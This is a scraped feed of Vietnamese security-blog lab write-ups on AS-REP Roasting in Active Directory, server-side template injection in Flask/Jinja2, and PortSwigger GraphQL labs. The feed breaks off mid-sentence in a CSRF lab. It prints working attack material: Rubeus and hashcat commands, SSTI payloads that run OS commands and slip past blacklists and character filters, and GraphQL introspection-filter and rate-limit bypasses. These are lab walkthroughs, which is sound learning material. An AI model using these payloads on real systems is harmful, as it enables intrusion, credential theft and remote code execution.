Green Thành công tạo user mới bây giờ config lại quyền authen cho nó với lệnh sau :\n# Tắt yêu cầu pre-auth → mở cửa cho AS-REP Roasting Set-ADAccountControl -Identity \u0026#34;asrep_test\u0026#34; -DoesNotRequirePreAuth $true Write-Host \u0026#34;[+] Đã tắt Kerberos pre-authentication cho \u0026#39;asrep_test\u0026#39;.\u0026#34; -ForegroundColor Green Thành công tắt đi quyền pre-auth của user trên bây giờ ta đi đến bước tấn công.\nBước 2: Liệt kê user có thể tấn công Bây giờ ta sử dụng 2 lệnh sau :\n# Import PowerView . .\\PowerView.ps1 # Liệt kê user có DONT_REQ_PREAUTH Get-DomainUser -PreauthNotRequired -Verbose Lệnh này giúp ta chạy powerview sau đó từ powerview ta sẽ tiến hành truy vấn tìm kiếm các user có được config no pre-auth.\nThành công tìm được user asrep_victim có thể thấy được nó đã được gán quyền DONT_REQ_PREAUTH bây giờ ta sẽ đi tới bước tiếp theo.\nSử dụng tool Ruberus để thực hiện AS-REP Roasting # Chạy Rubeus và lưu output $hash = .\\Rubeus.exe asreproast /user:asrep_test /domain:offense.local /format:john 2\u0026gt;\u0026amp;1 | Out-String # Hiển thị hash Write-Host \u0026#34;[+] Hash AS-REP nhận được:\u0026#34; -ForegroundColor Cyan Write-Host $hash # Lưu hash vào file để crack sau $hash | Out-File -FilePath asrep.hash -Encoding ASCII Write-Host \u0026#34;[+] Đã lưu hash vào: C:\\Tools\\asrep.hash\u0026#34; -ForegroundColor Green Thành công lấy được hash bây giờ thì ta tới với bước crack thôi.\nCrack password bằng hashcat Sau khi có được AS-REP hash rồi thì ta sẽ lưu nó vào một file ở đây tôi lưu nó trong file asrep.hash.\nSau đó sử dụng hashcat với lệnh :\nhashcat -m 18200 asrep.hash mywordlist.txt Từ đây thành công crack ra password của user mà ta cần phải tấn công và hoàn thành lab.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-12-02-iredteam-as-rep-roasting/","summary":"\u003ch1 id=\"iredteam-as-rep-roasting\"\u003eIredTeam AS-REP Roasting\u003c/h1\u003e\n\u003ch3 id=\"as-rep-là-gì\"\u003eAS-REP là gì?\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eAS-REP\u003c/code\u003e (viết tắt của Authentication Service Reply) là một \u003ccode\u003ethông điệp\u003c/code\u003e trong giao thức xác thực \u003ccode\u003eKerberos\u003c/code\u003e. Đây là bước thứ hai trong quá trình xác thực ban đầu, được gửi từ \u003ccode\u003eKey Distribution Center (KDC)\u003c/code\u003e, thường là một Domain Controller trong môi trường Active Directory, đến người dùng.\u003c/p\u003e\n\u003cp\u003eThông điệp này chứa \u003ccode\u003eTicket-Granting Ticket (TGT)\u003c/code\u003e, một ticket được mã hóa dùng để yêu cầu các vé dịch vụ khác mà không cần người dùng phải nhập lại mật khẩu. Một phần của thông điệp \u003ccode\u003eAS-REP\u003c/code\u003e này được mã hóa bằng chính \u003ccode\u003ehash\u003c/code\u003e mật khẩu của người dùng.\u003c/p\u003e","title":"IredTeam AS-REP Roasting"},{"content":"ServerSide Template Injection (SSTI) Lab SSTI là gì Server-Side Template Injection (SSTI) là một lỗ hổng bảo mật web nghiêm trọng cho phép kẻ tấn công chèn mã độc vào template của ứng dụng, dẫn đến việc mã này được thực thi trên phía server. Lỗ hổng này thường xảy ra khi dữ liệu đầu vào từ người dùng được nối trực tiếp vào template thay vì được truyền dưới dạng dữ liệu an toàn.\nCơ chế hoạt động của SSTI SSTI xảy ra khi web app sử dụng template engine để hiển thị nội dung động (dynamic) nhưng lại cho phép user trực tiếp nhập liệu vào cấu trúc template.\nThì thay vì hiển thị dữ liệu đã được cho trước thì template engine sẽ xử lý input đó như một mã nguồn template điều này cho phép attacker thực hiện tấn công với input tuỳ ý.\nTác động của SSTI RCE (Remote Code Execution) Đọc/ghi file, dữ liệu chẳng hạn như dữ liệu trong db, file config Leo thang đặc quyền (Priv Escalation) Cấu trúc lab SSTI ssti-lab/ ├── app.py # Source code chính ├── requirements.txt # Các thư viện cần thiết ├── Dockerfile # Cấu hình Docker └── docker-compose.yml # Cấu hình chạy container Link lab : https://github.com/pzhat/SSTI-lab\nLab Solving Level 1: Ở đây lab mình build sẽ không có nhiều features thay vào đó tập trung vào kỹ thuật và payload, đến với level đầu tiên thì ta không có gì ngoài chức năng hiển thị tên sau chữ Hello.\nBây giờ ta sẽ đi đến phân tích source code xử lý nó.\nTại đây ta có phần source code xử lý level 1:\nCơ chế: Biến name được lấy từ URL (GET request). Python sử dụng f-string để chèn giá trị của name vào biến template. Tại sao lỗi: Nếu attacker nhập ?name={{7*7}}, biến template thực tế sẽ trở thành chuỗi \u0026lt;p\u0026gt;Hello {{7*7}}!\u0026lt;/p\u0026gt;. Khi render_template_string chạy, nó tìm thấy cặp ngoặc nhọn và thực thi phép tính. Ở đây nó lỗi ở render_template_string là vì đoạn này được nối chuỗi ở đây template engine nhận input khi qua đến jinja2 xử lý thì nó sẽ nghĩ đoạn bên trong chuỗi {{}} cần thực thi.\nỞ level này ta không hề có một lớp filter nào ta sẽ thử inject vào một đoạn {{7*7}} để xem liệu phép tính có được xử lý không, nếu có thì ta hoàn toàn có thể thao túng được input.\nỞ đây ta thấy nó trả về kết quả phép tính nên có thể kết luận được rằng tồn tại SSTI trong chức năng này.\nTiến hành inject vào payload để RCE thành công thực thi câu lệnh id.\n{{cycler.__init__.__globals__.os.popen(\u0026#34;id\u0026#34;).read()}} Level 2: Level 2 thì nó vẫn như level 1 nó sẽ vẫn chỉ là một app hiển thị tên sau đoạn Hello và name hoàn toàn có thể thao tác thay đổi được, bây giờ ta sẽ đến với source code của level này.\nỞ level này thì logic nó vẫn giống như ở level 1 từ đoạn xử lý template mọi thứ đều giống như cũ nhưng ở đây ta để ý ở đây có đoạn:\nblacklist = [\u0026#39;config\u0026#39;, \u0026#39;class\u0026#39;, \u0026#39;mro\u0026#39;, \u0026#39;subclasses\u0026#39;, \u0026#39;subprocess\u0026#39;, \u0026#39;popen\u0026#39;] # Kiểm tra blacklist (Case insensitive) for word in blacklist: if word in name.lower(): return \u0026#34;\u0026lt;h3\u0026gt;Hacker detected! Blacklisted word found.\u0026lt;/h3\u0026gt;\u0026#34; Từ đoạn code này ta để ý rằng developer đã tạo một blacklist bao gồm các từ mà mình muốn chặn ['config', 'class', 'mro', 'subclasses', 'subprocess', 'popen'] sau đó ở đoạn if word in name.lower() thì ở đây logic nó xử lý sẽ là khi mà mình inject vào đoạn xử lý template nếu đoạn payload có chứa các từ trong blacklist và nhờ đoạn lower() nó sẽ xử lý các kiểu payload như cLaSS đưa nó về dạng bình thường và match với blacklist.\nĐiểm yếu logic: Code chỉ kiểm tra sự tồn tại của chuỗi ký tự nguyên bản trong input. Cách bypass hiện tại trong Jinja2, bạn có thể tạo ra chuỗi từ việc nối các chuỗi con hoặc lấy từ request khác. Ví dụ: Thay vì viết class, attacker có thể viết \u0026lsquo;cla\u0026rsquo; + \u0026lsquo;ss\u0026rsquo;. Jinja2 khi render sẽ ghép lại thành class và thực thi, nhưng bộ lọc Python ở trên chỉ nhìn thấy các đoạn rời rạc nên cho qua, bây giờ ta sẽ test thử rằng nó có xử lý template mình inject vào không và thử lại với payload ở level 1.\nSau khi inject đoạn {{7*7}} và response trả về 49 chứng tỏ nó có xử lý user input bây giờ thử với payload cũ.\nOk ăn chửi rồi ở đây chứng tỏ rằng blacklist đã xử lý payload cũ bây giờ ta sẽ thử tìm hướng bypass.\nTại đây mình sử dụng payload sau:\n{{[\u0026#39;__cla\u0026#39; + \u0026#39;ss__\u0026#39;]}} Ở trong payload này tôi sử dụng kỹ thuật nối chuỗi để bypass thử và thành công, ở đây nó trả kết quả của đoạn inject thực hiện chạy được thuộc tính class và ta để ý rằng hàm class nằm trong blacklist nhưng ta vẫn có thể bypass được chứng tỏ ta hoàn toàn có thể lợi dụng cách nối chuỗi này để RCE.\nTại đây mình sử dụng payload sau:\n{{url_for[\u0026#39;__gl\u0026#39; + \u0026#39;obals__\u0026#39;][\u0026#39;__builtins__\u0026#39;][\u0026#39;__im\u0026#39; + \u0026#39;port__\u0026#39;](\u0026#39;os\u0026#39;)[\u0026#39;pop\u0026#39; + \u0026#39;en\u0026#39;](\u0026#39;id\u0026#39;)[\u0026#39;read\u0026#39;]()}} Phân tích cách payload bypass Level 2:\nFilter Level 2 chặn: [\u0026lsquo;config\u0026rsquo;, \u0026lsquo;class\u0026rsquo;, \u0026lsquo;mro\u0026rsquo;, \u0026lsquo;subclasses\u0026rsquo;, \u0026lsquo;subprocess\u0026rsquo;, \u0026lsquo;popen\u0026rsquo;]. url_for: Không bị chặn. [\u0026rsquo;gl\u0026rsquo; + \u0026lsquo;obals\u0026rsquo;]: Nối lại thành globals (Không bị cấm ở Level 2 nhưng cứ nối chuỗi có chắc cốp. [\u0026rsquo;builtins\u0026rsquo;]: Không bị chặn. [\u0026rsquo;im\u0026rsquo; + \u0026lsquo;port\u0026rsquo;]: Nối lại thành import. (\u0026lsquo;os\u0026rsquo;): Gọi module OS. [\u0026lsquo;pop\u0026rsquo; + \u0026rsquo;en\u0026rsquo;]: Filter tìm chữ popen code Python thấy chuỗi \u0026lsquo;pop\u0026rsquo; + \u0026rsquo;en\u0026rsquo;, không khớp với popen. -\u0026gt; Cho qua, Jinja2 render nối lại thành popen và thực thi lệnh id. Và response ở đây ta thấy nó đã thành công thực thi được câu lệnh id và thành công thực hiện RCE.\nLevel 3: Ở level này thì mọi thứ nó vẫn như cũ ở đây user input vẫn sẽ chạy vào name và được Jinja2 xử lý bây giờ ta sẽ thử dùng payload {{7*7}} để xem thử nó có xử lý không.\nỞ đây test với payload trên thì nó trả về một dòng đó là \u0026lt;h3\u0026gt;No double brackets allowed!\u0026lt;/h3\u0026gt; và có vẻ như payload không được xử lý nên ta sẽ đi đến với source code ở level 3 này.\nỞ đây ta để ý đoạn:\nif any(char in name for char in [\u0026#39;.\u0026#39;, \u0026#39;_\u0026#39;, \u0026#39;[\u0026#39;, \u0026#39;]\u0026#39;]): return \u0026#34;\u0026lt;h3\u0026gt;Hacker detected! Special character found.\u0026lt;/h3\u0026gt;\u0026#34; if \u0026#39;{{\u0026#39; in name or \u0026#39;}}\u0026#39; in name: return \u0026#34;\u0026lt;h3\u0026gt;No double brackets allowed!\u0026lt;/h3\u0026gt;\u0026#34; Và ở đây chính là lý do mà payload vừa rồi không được phép chạy vì ở đây 2 đoạn này cho ta biết rằng dấu chấm, gạch dưới, hoặc ngoặc nhọn kép đã bị chặn nên sẽ khó để inject được payload như cũ.\nLevel 3 chặn rất nhiều ký tự quan trọng:\nChặn dấu chấm . → Không thể truy cập thuộc tính (object.attr). Chặn gạch dưới _ → Không thể gọi magic methods (__class__, __globals__). Chặn ngoặc vuông [ ] → Không thể truy cập phần tử mảng/dict. Chặn {{ và }} → Không thể in kết quả ra màn hình theo cách thông thường. Bây giờ ta sẽ phải tìm cách thay thế đi các ký tự đã bị chặn để có thể tạo ra một payload khác.\nKịch bản tạo payload:\n{% raw %}\nThay . bằng filter |attr(). Thay {{ }} bằng khối lệnh {% print \u0026hellip; %}. Thay các từ khóa chứa _ (như __class__) bằng cách lấy chúng từ tham số URL (request.args). {% endraw %} Ở đây ta test thử {% raw %}{% print 7*7%}{% endraw %} xem nó có xử lý phép tính và trả về kết quả không.\nHướng bypass này có vẻ như hoạt động rất tốt nên bây giờ ta sẽ thử tạo payload RCE.\nTại đây mình dùng payload sau :\n{%set u=\u0026#34;%c\u0026#34;|format(95)%}{%set i=u~u~\u0026#34;init\u0026#34;~u~u%}{%set g=u~u~\u0026#34;globals\u0026#34;~u~u%}{%set b=u~u~\u0026#34;builtins\u0026#34;~u~u%}{%set m=u~u~\u0026#34;import\u0026#34;~u~u%}{%print request|attr(i)|attr(g)|attr(\u0026#34;get\u0026#34;)(b)|attr(\u0026#34;get\u0026#34;)(m)(\u0026#34;os\u0026#34;)|attr(\u0026#34;popen\u0026#34;)(\u0026#34;id\u0026#34;)|attr(\u0026#34;read\u0026#34;)()%} Sau đó thực hiện url encode để có được dạng :\n%7B%25set%20u%3D%22%25c%22%7Cformat%2895%29%25%7D%7B%25set%20i%3Du~u~%22init%22~u~u%25%7D%7B%25set%20g%3Du~u~%22globals%22~u~u%25%7D%7B%25set%20b%3Du~u~%22builtins%22~u~u%25%7D%7B%25set%20m%3Du~u~%22import%22~u~u%25%7D%7B%25print%20request%7Cattr%28i%29%7Cattr%28g%29%7Cattr%28%22get%22%29%28b%29%7Cattr%28%22get%22%29%28m%29%28%22os%22%29%7Cattr%28%22popen%22%29%28%22id%22%29%7Cattr%28%22read%22%29%28%29%25%7D Giải thích payload :\n{% set u = \u0026#34;%c\u0026#34;|format(95) %} Chúng ta dùng hàm format của Python (có sẵn trong Jinja2). %c: Là định dạng để chuyển đổi một mã số ASCII sang ký tự tương ứng. 95: Là mã ASCII của ký tự gạch dưới _. \u0026ldquo;%c\u0026rdquo;|format(95): Sẽ trả về chuỗi _. Kết quả: Biến u bây giờ chứa giá trị _. Chúng ta đã có được ký tự cấm mà không cần gõ nó ra! {% set i = u~u~\u0026#34;init\u0026#34;~u~u %}\r{% set g = u~u~\u0026#34;globals\u0026#34;~u~u %}\r{% set b = u~u~\u0026#34;builtins\u0026#34;~u~u %}\r{% set m = u~u~\u0026#34;import\u0026#34;~u~u %} Vấn đề: Chúng ta cần các chuỗi init, globals, builtins, import.\nGiải pháp: Dùng toán tử ~ (toán tử nối chuỗi trong Jinja2) để ghép biến u (_) với các từ ngữ bình thường.\nu~u~\u0026quot;init\u0026quot;~u~u→_ + _ + init + _ + _ → __init__. Kết quả:\nBiến i chứa init. Biến g chứa globals. Biến b chứa builtins. Biến m chứa import. -\u0026gt; Server không phát hiện ra vì trong payload gốc chỉ toàn chữ cái thường và ký tự ~, không có dấu _.\nLevel 4: Đến với level 4 thì mọi thứ có vẻ vẫn tương tự như cũ nên ta sẽ đến với phần source code để phân tích cho nó dễ hiểu.\nỞ đây theo đoạn code thì cách nó xử lý vẫn như cũ vẫn là user input vào biến name sau đó nó được Jinja2 xử lý và in ra nhưng ở đây ta có thêm vài lớp filter bây giờ ta sẽ phân tích chúng :\nif len(name) \u0026gt; 40: return \u0026#34;\u0026lt;h3\u0026gt;Too long! Keep it short.\u0026lt;/h3\u0026gt;\u0026#34; Ở đây đoạn này ta đã bị giới hạn độ dài chỉ còn 40 kí tự, đây là lớp filter đầu tiên vì hầu như payload mình thường dùng đều có độ dài lớn hơn 40 kí tự ví dụ như payload ở level 3 nên đoạn filter này sẽ là một thách thức.\nblacklist = [\u0026#39;class\u0026#39;, \u0026#39;base\u0026#39;, \u0026#39;init\u0026#39;, \u0026#39;globals\u0026#39;] for word in blacklist: if word in name.lower(): return \u0026#34;\u0026lt;h3\u0026gt;Forbidden word!\u0026lt;/h3\u0026gt;\u0026#34; Ở đây ta lại có lớp filter thứ 2 đó là một cái blacklist bao gồm các từ :\nclass base init globals Cái lớp filter thứ 2 này tương tự như filter của level 2 ở đây thì ta hoàn toàn có thể bypass được bằng cách nối chuỗi nên ta sẽ chú ý hơn cách payload được filter độ dài payload bây giờ tôi sẽ test thử {{7*7}} để xem template có xử lý input không.\nOkay chắc chắn nó đã xử lý rồi bây giờ ta sẽ phải tìm cách tạo payload mà phải dưới 40 characters.\nSau một lúc test và tham khảo thêm payload vài nơi thì mình nhận ra để có thể mà thực thi được các câu OS command thì rất khó và gần như là bất khả thi vì để thực thi thì ta sẽ phải thêm nhiều thuộc tính vào với mục đích leo thang lên từ đó có thể thực hiện câu lệnh nhưng ở đây vì giới hạn 40 kí tự nên rất khó để làm vậy nên ta chỉ có thể đi theo hướng dump ra dữ liệu quan trọng.\nTại đây ta sẽ inject vào một đoạn :\n{{config}} Để dump hết file config của hệ thống ra và nó leak cho ta khá nhiều thông tin quan trọng trong đó có những thứ có thể phục vụ cho leo thang đặc quyền như là Secret Key hoặc là Session Cookie.\nỞ đây tôi tạo một file flag bí mật để xem có lấy được ra không nếu được thì kịch bản dump dữ liệu quan trọng là khả thi.\nThành công lấy được file flag ra và tương tự cũng lấy và đọc được file SECRET_KEY và kết thúc lab SSTI.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-12-01-ssti-lab/","summary":"\u003ch1 id=\"serverside-template-injection-ssti-lab\"\u003eServerSide Template Injection (SSTI) Lab\u003c/h1\u003e\n\u003ch3 id=\"ssti-là-gì\"\u003eSSTI là gì\u003c/h3\u003e\n\u003cp\u003eServer-Side Template Injection (SSTI) là một lỗ hổng bảo mật web nghiêm trọng cho phép kẻ tấn công chèn mã độc vào template của ứng dụng, dẫn đến việc mã này được thực thi trên phía server. Lỗ hổng này thường xảy ra khi dữ liệu đầu vào từ người dùng được nối trực tiếp vào template thay vì được truyền dưới dạng dữ liệu an toàn.\u003c/p\u003e","title":"ServerSide Template Injection (SSTI) Lab"},{"content":"GraphQL API Vulnerability PortSwigger Challenge Overview về GraphQL GraphQL là một ngôn ngữ truy vấn cho API (Query Language for APIs) và cũng là một môi trường thực thi phía máy chủ (server-side runtime) để thực hiện các truy vấn đó.\nĐể dễ hiểu hãy hình dung như sau:\nVới API truyền thống (như REST API): Bạn phải gọi nhiều \u0026quot;endpoint\u0026quot;(đường dẫn) khác nhau để lấy các loại dữ liệu khác nhau. Ví dụ: để lấy thông tin người dùng và các bài viết của họ, bạn có thể phải gọi /users/1 để lấy thông tin người dùng, sau đó gọi /users/1/posts để lấy danh sách bài viết. Bạn thường nhận về toàn bộ dữ liệu mà endpoint đó cung cấp, dù bạn có cần hết hay không.\nVới GraphQL: Bạn chỉ cần một endpoint duy nhất. Phía client (ứng dụng của bạn) sẽ gửi một truy vấn (query) duy nhất mô tả chính xác những dữ liệu nào nó cần. Ví dụ: Bạn có thể gửi một truy vấn duy nhất yêu cầu \u0026ldquo;lấy tên và email của người dùng có ID là 1, và chỉ lấy tiêu đề của 3 bài viết gần nhất của người đó\u0026rdquo;.\nquery { user(id: \u0026#34;1\u0026#34;) { name email posts(last: 3) { title } } } Các đặc điểm chính của GraphQL:\nLấy chính xác những gì bạn cần: Giúp tránh tình trạng \u0026ldquo;over-fetching\u0026rdquo; (lấy quá nhiều dữ liệu không cần thiết) và \u0026ldquo;under-fetching\u0026rdquo; (phải gọi thêm nhiều API khác để lấy đủ dữ liệu). Điều này rất hữu ích cho các ứng dụng di động có băng thông hạn chế. Một yêu cầu, nhiều tài nguyên: Có thể lấy nhiều tài nguyên liên quan (như người dùng, bài viết, bình luận) chỉ trong một lần gọi API duy nhất. Hệ thống kiểu dữ liệu mạnh mẽ (Strongly Typed): Toàn bộ API được định nghĩa bằng một \u0026ldquo;schema\u0026rdquo;, trong đó mô tả rõ ràng tất cả các loại dữ liệu và các truy vấn có thể thực hiện. Điều này giúp client và server có chung một \u0026ldquo;ngôn ngữ\u0026rdquo;, dễ dàng phát triển và kiểm tra. Tự động tạo tài liệu (Self-documenting): Nhờ có schema, tài liệu API luôn được cập nhật và có thể được khám phá tự động (thông qua công cụ như GraphiQL hoặc GraphQL Playground). Không phụ thuộc vào cơ sở dữ liệu: GraphQL chỉ là một lớp nằm giữa client và các dịch vụ backend của bạn. Nó có thể lấy dữ liệu từ bất kỳ đâu: cơ sở dữ liệu SQL, NoSQL, các REST API khác, hoặc thậm chí là một file tĩnh. Lab exploit and POC Lab: Accessing private GraphQL posts The blog page for this lab contains a hidden blog post that has a secret password. To solve the lab, find the hidden blog post and enter the password. Đây là một trang web blog sử dụng graphQL API bây giờ ta sẽ sử dụng burpsuite để bắt các request.\nỞ đây sau khi nó load xong trang thì ta thấy một POST request với API là /graphql/v1 đây chính là request gọi đến graphql ta có thế thấy ở bên dưới là câu query của nó gọi đến allBlogPosts ta có thể thấy rằng response trả về là data của trang blog.\nVậy với nội dung query xuất hiện ở bên trong request như này liệu ta có thao túng được nó để có thể thay đổi nội dung mà mình cần không?\nTại đây sau khi thử inject vào :\n{ \u0026#34;query\u0026#34;:\u0026#34;{__typename}\u0026#34; } Ta thấy rằng response trả về kết quả 200 cùng với kết quả câu query.\nVới tiêu đề của bài ta đã đọc ở trên thì sẽ có 1 secret password nằm trong bài blog nào đó, với lab này có vẻ như không có filter nào hết và ta hoàn toàn có thể thao túng query vì vậy ta có thể thao túng đến các blog và lấy thử password được giấu trong blog đó.\nSau khi bấm đại đại vào một blog nào đó ta có thể thấy được biến id nằm trong request của API bây giờ ta sẽ thử thêm cả một biến nữa đó là biến postPassword xem thử nó sẽ ra kết quả như nào,\nỞ đây với postid=4 thì có vẻ như không có password trong này nên ta sẽ bắt request của trang chính khi mà nó hiển thị tất cả blog cà inject giá trị password vào để kiểm tra hết.\nGọi hết thì thấy thiếu đi id=3 chắc nó giấu rồi nên trở lại với request gọi từng bài và thay giá trị id từ 4 về 3 sau đó gửi thử.\nThành công lấy được postPassword và solve lab.\nLab: Accidental exposure of private GraphQL fields The user management functions for this lab are powered by a GraphQL endpoint. The lab contains an access control vulnerability whereby you can induce the API to reveal user credential fields. To solve the lab, sign in as the administrator and delete the username carlos. Đến với lab này thì yêu cầu đề đã thay đổi bây giờ nó bắt mình khai thác lỗ hổng access control bằng graphql sau đó dùng quyền admin để xoá đi username carlos, bây giờ ta sẽ tiếp tục bắt request xem thử kết quả trả về ra sao.\nNhư cũ ta vẫn sẽ bắt được cái API gọi graphql ở đây nó query đến hết nội dung của trang bây giờ ta sẽ tiến hành login.\nTại đây ta bắt được một request gọi đến graphql login ở đây ta thấy rằng response ta đã login thành công với user wiener.\nSau đó ta sẽ sử dụng một extension đã tải từ Bapp của burpsuite có tên là InQL Scanner để tiến hành phân tích request graphql vừa rồi.\nTại đây ta tìm được một query nhạy cảm đó là getUser có khả năng trả về username và password và nó nhận biến id để truy xuất user theo số id vậy bây giờ ta sẽ copy đoạn query này và đưa nó vào request để xem ta có lợi dụng nó thay đổi biến id để lấy được username và password của user admin không.\nNó trả lỗi về dòng \u0026quot;Unknown operation named 'login'.\u0026quot; ta sẽ đổi getUser thành login vì đây là đoạn mình sẽ phải query đến chức năng login.\nThành công leak ra được username password của user peter, bây giờ ta tiếp tục thay đổi id đến khi tìm được admin.\nThành công lấy được username và password của administrator bây giờ đăng nhập vào admin và xoá user carlos thôi.\nLab: Finding a hidden GraphQL endpoint The user management functions for this lab are powered by a hidden GraphQL endpoint. You won\u0026#39;t be able to find this endpoint by simply clicking pages in the site. The endpoint also has some defenses against introspection. To solve the lab, find the hidden endpoint and delete carlos Sau khi vào page và tiến hành thử đăng nhập thì ở đây đúng như description của bài đã nói rằng bây giờ cái graphql đã hidden nên ta sẽ không tìm được endpoint /graphql như mấy lab trước. Bây giờ ta sẽ tiến hành brute-force thử để tìm các endpoint graphql ở đây tôi có tạo một cái list nhỏ.\n/graphql /api /graphql/v1 /api/graphql /v1 /v1/graphql /graphql/graphql /api /api/graphql Bây giờ gửi request vào intruder và tiến hành brute force xem thử response trả về ra sao.\nỞ đây ta thấy hầu như nó sẽ đều trả về status code là 404 là not found nhưng riêng với /api thì status code trả về kết quả là 405 có nghĩa là method not allowed vậy thì có nghĩa endpoint này tồn tại bây giờ đem nó ra repeater xem thử.\nTa thấy rằng nó trả về method not allowed bây giờ ta sẽ thử đổi method thành GET xem kết quả trả về ra sao.\nNó trả về dòng \u0026quot;Query not present\u0026quot; do là ở đây ta chưa có viết query của graphql vào nên nó không có gì thì nó báo bây giờ ta sẽ thử một query đơn giản xem sao.\nTại đây mình inject vào :\n{ \u0026#34;query\u0026#34;:\u0026#34;query{__typename}\u0026#34; } Ở đây nó vẫn trả về kết qủa của __typename đây đơn giản là một meta-field luôn có sẵn trong GraphQL. Nó đơn giản trả về tên của type hiện tại trong kết quả. Vậy bây giờ ta sẽ thử với Introspection thì sao bây giờ vào inql để chỉnh lại cái typename thành schema thử xem vì introspection thường ám chỉ việc truy vấn schema bằng các field đặc biệt như __schema hoặc __type. Những field này cho phép attacker khám phá toàn bộ cấu trúc API.\nSau khi inject sửa thành :\nquery{__schema{queryType{name}}} Thì đã bị ăn một cái error là \u0026quot;GraphQL introspection is not allowed, but the query contained __schema or __type\u0026quot; vậy là ở đây introspection bị chặn rồi bây giờ ta phải tìm cách để bypass được bước này.\nỞ đây sau khi tìm kiếm vài nguồn thì có cái trick áp dụng thành công đó là xuống dòng, cái trick này nó không hẳn là cách để bypass introspection mà cía này nó liên quan đến cách mà server parse GraphQl vì ở đây thì theo standard thì graphql cho phép ta xuống dòng nhưng ở đây filter có vẻ như đã dùng cơ chế lọc string hoặc có thể là xài regex để bắt các keyword như __schema và có vẻ nó chưa được filter chặt ở các đoạn xuống hàng hoặc khoảng trắng thì trong trường hợp này nó đã không làm tốt đoạn payload ta có thể xuống hàng vì nó sẽ chỉ check graphql nằm trên cùng 1 hàng.\nỞ đây schema có thể hoạt động có nghĩa là introspection có họat động bây giờ ta sẽ tìm cách truy vấn schema đến các object ta cần.\nTham khảo thêm ở : https://graphql.org/learn/introspection/\nTại đây sử dụng câu truy vấn kiếm được từ nguồn để leak trường bên trong.\nỞ đây ta sẽ để ý đến là có User và có cả chức năng DeleteOrganizationUser đây là một mảnh ghép thông tin rất lớn, bây giờ ta sẽ tìm cách dùng schema leak user.\nKhông thấy dữ liệu nào trở về nên ta sẽ kiếm thêm coi có payload introspection nào có thể leak ra dữ liệu không.\nSau khi mò trong https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection thì mình có payload để có thể test vào.\nVì payload test rất rộng nên response trả về rất nhiều dữ liệu nên ta sẽ phải nhờ đến extension inql để lấy query ra nhìn cho dễ.\nTại đây ở query ta thấy có getUser và ở Mutation có deleteOrganizationUser bây giờ ta sẽ test với query getUser trước xem sao.\nVừa mới nhét cái id=1 thì nó đã nổ ra luôn username là administrator luôn bây giờ ta sẽ tìm id của user carlos xem thử.\nTìm được user carlos có id là 3 bây giờ ta sẽ lợi dụng deleteOrganiztionUser để xóa đi user carlos graphql sẽ thực hiện truy vấn và xóa đi user carlos.\nThành công xóa user carlos ở đây có cái message Exception while fetching data (/deleteOrganizationUser) : User does not exist vì lỡ click 2 lần nó xóa rồi xóa lần nữa thì còn cái nịt mà xóa.\nThành công solve lab.\nLab: Bypassing GraphQL brute force protections The user login mechanism for this lab is powered by a GraphQL API. The API endpoint has a rate limiter that returns an error if it receives too many requests from the same origin in a short space of time. To solve the lab, brute force the login mechanism to sign in as carlos. Use the list of authentication lab passwords as your password source. Đọc description thì ta cũng đã hiểu phần nào về bài rằng bây giờ ở chức năng login sẽ sử dụng graphql nhưng vẫn đề là API endpoint đã bị rate limit nếu request quá nhiều nó sẽ bị sleep trong một khoảng thời gian vì thế sẽ khó để có thể brute force như là ở lab trước.\nSau khi tôi thử đăng nhập vài lần liên tục thì đã dính rate limit và nó sẽ sleep trong vòng 1 phút thì tương tự đó nếu thực hiện các thao tác khác nhiều lần nó cũng sẽ bị rate limit.\nBây giờ chuyển sang tab đọc graphql thì ta thấy một cái mutation login.\nMutation là một loại operation trong GraphQL dùng để thay đổi dữ liệu trên server.\nNếu query chỉ để đọc dữ liệu (giống như SELECT trong SQL), thì mutation giống như các thao tác ghi/chỉnh sửa (INSERT, UPDATE, DELETE).\nVậy ở đây ta có một cái mutation dùng để login vậy có cách nào để ta lợi dụng nó để có thể brute force là lấy được credentials của user carlos không, tại đây ta sẽ phải tìm hướng bypass được cái rate limit và tìm đường brute force.\nSau khi tìm kiếm ở document thì có một cách đó là sử dụng alias.\nGraphQL cho phép dùng alias để gọi nhiều mutation trong cùng một request.\nRate limiter chỉ tính số lượng request, không tính số lượng alias bên trong.\nNghĩa là ta có thể gửi một request duy nhất nhưng chứa hàng chục (hoặc hàng trăm) lần thử mật khẩu khác nhau.\nVậy có nghĩa kịch bản tấn công là ta sẽ tạo một mutation có nhiều alias đăng nhập để có thể đăng nhập nhiều lần chỉ trong 1 request có nghĩa ta sẽ test được nhiều password của user carlos trong 1 lần và đó là cách bypass để brute force được cơ chế rate limit ở đây.\nSau khi viết lại mutation để có thể brute thì ở đây ta thành công gửi nhiều request cùng lúc nhưng ở đây kết quả false hết nên ta sẽ phải tìm thêm cái wordlist để brute cho chuẩn.\nSau khi tạo hết request để test password trong wordlist thì ta đã tìm ra được password của user carlos khi mà request brute thứ 65 đã trả cho về giá trị là true.\nThành công có được password bây giờ tôi sẽ thử đăng nhập xem có truy cập được không.\nThành công đăng nhập vào user carlos và solve lab.\nLab: Performing CSRF exploits over GraphQL The user management functions for this lab are powered by a GraphQL endpoint. The endpoint accepts requests with a content-type of x-www-form-urlencoded and is therefore vulnerable to cross-site request forgery (CSRF) attacks. To solve the lab, craft some HTML that uses a CSRF attack to change the viewer\u0026#39;s email address, then upload it to your exploit server. You can log in to your own account using the following credentials: wiener:peter. Đến với bài lab cuối này thì ngay ở tiêu đề thì ta đã biết rằng bây giờ sẽ phải tìm cách lợi dụng graphql để có thể thực hiện CSRF, nó còn nói rằng nếu như có endpoint accept loại content-type là x-www-form-urlencoded thì nó có thể bị CSRF không nói nhiều vào bài luôn.\nSau khi đăng nhập bằng user wiener thì có thể thấy một chức năng update email y hệt như các lab CSRF trước đây bây giờ mình sẽ thử update mail lên và bắt request về.\nỞ đây ta sẽ thấy câu query graphql để mà thực hiện update email lên rồi bên response trả về thực hiện câu query thành công bây giờ email đã bị đổi.\nỞ đây nếu như muốn thực hiện CSRF qua câu query của graphql thì ta sẽ thử đổi method header 2 lần từ POST thành GET và về lại POST để thay đổi content type hoặc là ta sẽ tự thay đổi luôn content type cho nhanh thành Content-Type: application/x-www-form-urlencoded với content type này thì có lý do để nó phải thành như vậy đó là:\nCơ chế CSRF hoạt động dựa trên trình duyệt: Khi nạn nhân truy cập một trang HTML độc hại, trình duyệt sẽ tự động gửi request kèm cookie session của 